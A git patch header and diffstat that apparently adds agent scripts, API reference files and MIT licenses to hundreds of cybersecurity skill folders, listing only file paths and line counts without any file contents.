From 27c6414ca5ae1b96adc7b36e2e486db95cbcb7c0 Mon Sep 17 00:00:00 2001 From: mukul975 Date: Tue, 10 Mar 2026 21:02:12 +0100 Subject: [PATCH] Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders --- .../LICENSE | 21 ++ .../references/api-reference.md | 99 +++++ .../scripts/agent.py | 170 +++++++++ .../analyzing-api-gateway-access-logs/LICENSE | 21 ++ .../SKILL.md | 41 ++ .../references/api-reference.md | 58 +++ .../scripts/agent.py | 179 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 97 +++++ .../scripts/agent.py | 245 ++++++++++++ .../LICENSE | 21 ++ .../SKILL.md | 48 +++ .../references/api-reference.md | 54 +++ .../scripts/agent.py | 178 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 97 +++++ .../scripts/agent.py | 196 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 92 +++++ .../scripts/agent.py | 256 +++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 110 ++++++ .../scripts/agent.py | 256 +++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 97 +++++ .../scripts/agent.py | 213 +++++++++++ .../LICENSE | 21 ++ .../SKILL.md | 32 ++ .../references/api-reference.md | 49 +++ .../scripts/agent.py | 200 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 112 ++++++ .../scripts/agent.py | 241 ++++++++++++ .../LICENSE | 21 ++ .../SKILL.md | 54 +++ .../references/api-reference.md | 69 ++++ .../scripts/agent.py | 174 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 112 ++++++ .../scripts/agent.py | 215 +++++++++++ skills/analyzing-cyber-kill-chain/LICENSE | 21 ++ .../references/api-reference.md | 96 +++++ .../scripts/agent.py | 244 ++++++++++++ .../analyzing-disk-image-with-autopsy/LICENSE | 21 ++ .../references/api-reference.md | 118 ++++++ .../scripts/agent.py | 194 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 112 ++++++ .../scripts/agent.py | 234 ++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 116 ++++++ .../scripts/agent.py | 231 ++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 121 ++++++ .../scripts/agent.py | 229 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 90 +++++ .../scripts/agent.py | 268 +++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 120 ++++++ .../scripts/agent.py | 253 +++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 105 ++++++ .../scripts/agent.py | 213 +++++++++++ .../analyzing-kubernetes-audit-logs/LICENSE | 21 ++ .../analyzing-kubernetes-audit-logs/SKILL.md | 43 +++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 202 ++++++++++ skills/analyzing-linux-elf-malware/LICENSE | 21 ++ .../references/api-reference.md | 119 ++++++ .../scripts/agent.py | 224 +++++++++++ .../analyzing-linux-system-artifacts/LICENSE | 21 ++ .../references/api-reference.md | 114 ++++++ .../scripts/agent.py | 261 +++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 109 ++++++ .../scripts/agent.py | 296 +++++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 112 ++++++ .../scripts/agent.py | 247 ++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 68 ++++ .../scripts/agent.py | 170 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 121 ++++++ .../scripts/agent.py | 255 +++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 99 +++++ .../scripts/agent.py | 244 ++++++++++++ .../LICENSE | 21 ++ .../SKILL.md | 52 +++ .../references/api-reference.md | 58 +++ .../scripts/agent.py | 208 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 34 ++ .../references/api-reference.md | 48 +++ .../scripts/agent.py | 200 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 108 ++++++ .../scripts/agent.py | 200 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 128 +++++++ .../scripts/agent.py | 245 ++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 98 +++++ .../scripts/agent.py | 222 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 117 ++++++ .../scripts/agent.py | 242 ++++++++++++ .../analyzing-pdf-malware-with-pdfid/LICENSE | 21 ++ .../references/api-reference.md | 119 ++++++ .../scripts/agent.py | 242 ++++++++++++ .../analyzing-phishing-email-headers/LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 37 ++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 195 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 116 ++++++ .../scripts/agent.py | 216 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 147 ++++++++ .../scripts/agent.py | 354 ++++++++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 95 +++++ .../scripts/agent.py | 164 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 95 +++++ .../scripts/agent.py | 172 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 93 +++++ .../scripts/agent.py | 181 +++++++++ .../LICENSE | 21 ++ .../SKILL.md | 36 ++ .../references/api-reference.md | 64 ++++ .../scripts/agent.py | 177 +++++++++ .../LICENSE | 21 ++ .../SKILL.md | 45 +++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 176 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 73 ++++ .../scripts/agent.py | 184 +++++++++ .../LICENSE | 21 ++ .../SKILL.md | 37 ++ .../references/api-reference.md | 48 +++ .../scripts/agent.py | 219 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 67 ++++ .../scripts/agent.py | 165 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 87 +++++ .../scripts/agent.py | 185 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 70 ++++ .../scripts/agent.py | 221 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 90 +++++ .../scripts/agent.py | 190 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 77 ++++ .../scripts/agent.py | 192 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 66 ++++ .../scripts/agent.py | 151 ++++++++ skills/auditing-gcp-iam-permissions/LICENSE | 21 ++ .../references/api-reference.md | 78 ++++ .../scripts/agent.py | 162 ++++++++ .../auditing-kubernetes-cluster-rbac/LICENSE | 21 ++ .../references/api-reference.md | 72 ++++ .../scripts/agent.py | 191 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 75 ++++ .../scripts/agent.py | 174 +++++++++ skills/automating-ioc-enrichment/LICENSE | 21 ++ .../references/api-reference.md | 84 +++++ .../scripts/agent.py | 223 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 76 ++++ .../scripts/agent.py | 202 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 74 ++++ .../scripts/agent.py | 158 ++++++++ .../building-cloud-siem-with-sentinel/LICENSE | 21 ++ .../references/api-reference.md | 70 ++++ .../scripts/agent.py | 169 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 73 ++++ .../scripts/agent.py | 175 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 73 ++++ .../scripts/agent.py | 184 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 79 ++++ .../scripts/agent.py | 185 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 79 ++++ .../scripts/agent.py | 230 ++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ skills/building-soc-escalation-matrix/LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 70 ++++ .../scripts/agent.py | 192 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 60 +++ .../scripts/agent.py | 159 ++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 167 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 47 +++ .../scripts/agent.py | 168 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 63 ++++ .../scripts/agent.py | 181 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 60 +++ .../scripts/agent.py | 196 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 51 +++ .../scripts/agent.py | 183 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../conducting-api-security-testing/LICENSE | 21 ++ .../references/api-reference.md | 62 +++ .../scripts/agent.py | 227 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 64 ++++ .../scripts/agent.py | 193 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 47 +++ .../scripts/agent.py | 160 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 60 +++ .../scripts/agent.py | 171 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 46 +++ .../scripts/agent.py | 150 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 51 +++ .../scripts/agent.py | 191 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 45 +++ .../scripts/agent.py | 165 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 45 +++ .../scripts/agent.py | 145 +++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 47 +++ .../scripts/agent.py | 176 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 66 ++++ .../scripts/agent.py | 180 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 61 +++ .../scripts/agent.py | 173 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 54 +++ .../scripts/agent.py | 188 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 66 ++++ .../scripts/agent.py | 209 +++++++++++ .../conducting-pass-the-ticket-attack/LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 56 +++ .../scripts/agent.py | 207 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 69 ++++ .../scripts/agent.py | 183 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../configuring-hsm-for-key-storage/LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 65 ++++ .../scripts/agent.py | 204 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 70 ++++ .../scripts/agent.py | 215 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 83 ++++ .../scripts/agent.py | 201 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 96 +++++ .../scripts/agent.py | 239 ++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ skills/containing-active-breach/LICENSE | 21 ++ .../references/api-reference.md | 84 +++++ .../containing-active-breach/scripts/agent.py | 193 ++++++++++ .../containing-active-security-breach/LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 80 ++++ .../scripts/agent.py | 173 +++++++++ skills/correlating-threat-campaigns/LICENSE | 21 ++ .../references/api-reference.md | 76 ++++ .../scripts/agent.py | 207 ++++++++++ .../deobfuscating-javascript-malware/LICENSE | 21 ++ .../references/api-reference.md | 86 +++++ .../scripts/agent.py | 210 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 82 ++++ .../scripts/agent.py | 252 +++++++++++++ .../detecting-api-enumeration-attacks/LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 88 +++++ .../scripts/agent.py | 202 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 48 +++ .../references/api-reference.md | 66 ++++ .../scripts/agent.py | 173 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 76 ++++ .../scripts/agent.py | 159 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 69 ++++ .../scripts/agent.py | 139 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 66 ++++ .../scripts/agent.py | 158 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 78 ++++ .../scripts/agent.py | 163 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 80 ++++ .../scripts/agent.py | 195 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 69 ++++ .../scripts/agent.py | 192 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 82 ++++ .../scripts/agent.py | 159 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 74 ++++ .../scripts/agent.py | 168 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 88 +++++ .../scripts/agent.py | 176 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 65 ++++ .../scripts/agent.py | 196 ++++++++++ .../detecting-cryptomining-in-cloud/LICENSE | 21 ++ .../references/api-reference.md | 76 ++++ .../scripts/agent.py | 176 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 77 ++++ .../scripts/agent.py | 177 +++++++++ .../detecting-dll-sideloading-attacks/LICENSE | 21 ++ .../references/api-reference.md | 66 ++++ .../scripts/agent.py | 157 ++++++++ .../detecting-dnp3-protocol-anomalies/LICENSE | 21 ++ .../references/api-reference.md | 68 ++++ .../scripts/agent.py | 167 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 64 ++++ .../scripts/agent.py | 170 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 65 ++++ .../scripts/agent.py | 149 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 63 ++++ .../scripts/agent.py | 162 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 70 ++++ .../scripts/agent.py | 160 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 81 ++++ .../scripts/agent.py | 207 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 64 ++++ .../scripts/agent.py | 158 ++++++++ .../detecting-golden-ticket-attacks/LICENSE | 21 ++ .../detecting-golden-ticket-attacks/SKILL.md | 35 ++ .../references/api-reference.md | 50 +++ .../scripts/agent.py | 185 +++++++++ .../LICENSE | 21 ++ .../SKILL.md | 45 +++ .../references/api-reference.md | 60 +++ .../scripts/agent.py | 183 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 68 ++++ .../scripts/agent.py | 171 +++++++++ .../detecting-kerberoasting-attacks/LICENSE | 21 ++ .../references/api-reference.md | 49 +++ .../scripts/agent.py | 179 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 82 ++++ .../scripts/agent.py | 208 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 55 +++ .../scripts/agent.py | 143 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 60 +++ .../scripts/agent.py | 153 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 78 ++++ .../scripts/agent.py | 174 +++++++++ .../detecting-mobile-malware-behavior/LICENSE | 21 ++ .../references/api-reference.md | 71 ++++ .../scripts/agent.py | 151 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 67 ++++ .../scripts/agent.py | 153 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 64 ++++ .../scripts/agent.py | 170 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 91 +++++ .../scripts/agent.py | 290 ++++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 66 ++++ .../scripts/agent.py | 172 +++++++++ .../detecting-pass-the-hash-attacks/LICENSE | 21 ++ .../references/api-reference.md | 43 +++ .../scripts/agent.py | 152 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 98 +++++ .../scripts/agent.py | 225 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 49 +++ .../scripts/agent.py | 178 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 41 ++ .../scripts/agent.py | 173 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 103 +++++ .../scripts/agent.py | 161 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 84 +++++ .../scripts/agent.py | 234 ++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 101 +++++ .../scripts/agent.py | 201 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 87 +++++ .../scripts/agent.py | 190 ++++++++++ skills/detecting-rootkit-activity/LICENSE | 21 ++ .../references/api-reference.md | 87 +++++ .../scripts/agent.py | 204 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 84 +++++ .../scripts/agent.py | 221 +++++++++++ .../detecting-service-account-abuse/LICENSE | 21 ++ .../references/api-reference.md | 81 ++++ .../scripts/agent.py | 141 +++++++ skills/detecting-shadow-api-endpoints/LICENSE | 21 ++ .../references/api-reference.md | 94 +++++ .../scripts/agent.py | 145 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 102 +++++ .../scripts/agent.py | 166 ++++++++ .../LICENSE | 21 ++ .../SKILL.md | 34 ++ .../references/api-reference.md | 61 +++ .../scripts/agent.py | 233 ++++++++++++ .../detecting-stuxnet-style-attacks/LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 46 +++ .../references/api-reference.md | 55 +++ .../scripts/agent.py | 202 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 99 +++++ .../scripts/agent.py | 231 ++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 60 +++ .../scripts/agent.py | 167 +++++++++ .../executing-diamond-model-analysis/LICENSE | 21 ++ .../references/api-reference.md | 73 ++++ .../scripts/agent.py | 172 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 55 +++ .../scripts/agent.py | 175 +++++++++ .../LICENSE | 21 ++ skills/executing-red-team-exercise/LICENSE | 21 ++ .../references/api-reference.md | 48 +++ .../scripts/agent.py | 171 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 149 ++++++++ .../LICENSE | 21 ++ .../exploiting-broken-link-hijacking/LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../exploiting-http-request-smuggling/LICENSE | 21 ++ .../references/api-reference.md | 53 +++ .../scripts/agent.py | 197 ++++++++++ .../exploiting-idor-vulnerabilities/LICENSE | 21 ++ .../references/api-reference.md | 52 +++ .../scripts/agent.py | 178 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 179 +++++++++ .../exploiting-ipv6-vulnerabilities/LICENSE | 21 ++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 178 +++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../exploiting-oauth-misconfiguration/LICENSE | 21 ++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 232 ++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 184 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 62 +++ .../scripts/agent.py | 178 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 60 +++ .../scripts/agent.py | 196 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 74 ++++ .../scripts/agent.py | 218 +++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 55 +++ .../scripts/agent.py | 205 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 62 +++ .../scripts/agent.py | 211 +++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 62 +++ .../scripts/agent.py | 202 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 76 ++++ .../scripts/agent.py | 241 ++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 77 ++++ .../scripts/agent.py | 271 ++++++++++++++ .../LICENSE | 21 ++ .../SKILL.md | 54 +++ .../references/api-reference.md | 58 +++ .../scripts/agent.py | 170 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 86 +++++ .../scripts/agent.py | 278 ++++++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 80 ++++ .../scripts/agent.py | 289 ++++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 51 +++ .../scripts/agent.py | 164 ++++++++ .../LICENSE | 21 ++ .../SKILL.md | 43 +++ .../references/api-reference.md | 49 +++ .../scripts/agent.py | 198 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 151 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 55 +++ .../scripts/agent.py | 166 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 128 +++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../hunting-for-shadow-copy-deletion/LICENSE | 21 ++ .../references/api-reference.md | 65 ++++ .../scripts/agent.py | 185 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 65 ++++ .../scripts/agent.py | 183 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 71 ++++ .../scripts/agent.py | 182 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 63 ++++ .../scripts/agent.py | 185 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 68 ++++ .../scripts/agent.py | 196 ++++++++++ skills/hunting-for-webshell-activity/LICENSE | 21 ++ .../references/api-reference.md | 65 ++++ .../scripts/agent.py | 177 +++++++++ .../LICENSE | 21 ++ .../SKILL.md | 34 ++ .../references/api-reference.md | 67 ++++ .../scripts/agent.py | 191 ++++++++++ .../LICENSE | 21 ++ .../SKILL.md | 48 +++ .../references/api-reference.md | 54 +++ .../scripts/agent.py | 194 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 67 ++++ .../scripts/agent.py | 172 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 49 +++ .../scripts/agent.py | 173 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 69 ++++ .../scripts/agent.py | 182 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 73 ++++ .../scripts/agent.py | 194 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 159 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 48 +++ .../scripts/agent.py | 161 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 65 ++++ .../scripts/agent.py | 165 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 61 +++ .../scripts/agent.py | 169 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 54 +++ .../scripts/agent.py | 154 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 52 +++ .../scripts/agent.py | 147 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 173 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 58 +++ .../scripts/agent.py | 182 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 62 +++ .../scripts/agent.py | 155 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 146 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 54 +++ .../scripts/agent.py | 178 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 140 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 61 +++ .../scripts/agent.py | 165 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 58 +++ .../scripts/agent.py | 179 +++++++++ skills/implementing-aws-security-hub/LICENSE | 21 ++ .../references/api-reference.md | 51 +++ .../scripts/agent.py | 181 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 60 +++ .../scripts/agent.py | 152 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 62 +++ .../scripts/agent.py | 194 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 130 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 56 +++ .../scripts/agent.py | 121 ++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 64 ++++ .../scripts/agent.py | 176 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 47 +++ .../scripts/agent.py | 197 ++++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 50 +++ .../scripts/agent.py | 175 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 176 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 53 +++ .../scripts/agent.py | 133 +++++++ skills/implementing-cloud-waf-rules/LICENSE | 21 ++ .../references/api-reference.md | 56 +++ .../scripts/agent.py | 210 +++++++++++ .../LICENSE | 21 ++ .../SKILL.md | 45 +++ .../references/api-reference.md | 61 +++ .../scripts/agent.py | 186 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 58 +++ .../scripts/agent.py | 158 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 52 +++ .../scripts/agent.py | 137 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 137 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 54 +++ .../scripts/agent.py | 142 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 53 +++ .../scripts/agent.py | 146 ++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 56 +++ .../scripts/agent.py | 128 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 63 ++++ .../scripts/agent.py | 186 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 53 +++ .../scripts/agent.py | 177 +++++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 61 +++ .../scripts/agent.py | 134 +++++++ .../LICENSE | 21 ++ .../references/api-reference.md | 55 +++ .../scripts/agent.py | 152 ++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 35 ++ .../references/api-reference.md | 75 ++++ .../scripts/agent.py | 264 +++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 57 +++ .../scripts/agent.py | 190 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 58 +++ .../scripts/agent.py | 206 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../references/api-reference.md | 69 ++++ .../scripts/agent.py | 231 ++++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 44 +++ .../references/api-reference.md | 59 +++ .../scripts/agent.py | 197 ++++++++++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../LICENSE | 21 ++ .../SKILL.md | 33 ++ .../references/api-reference.md | 56 +++ 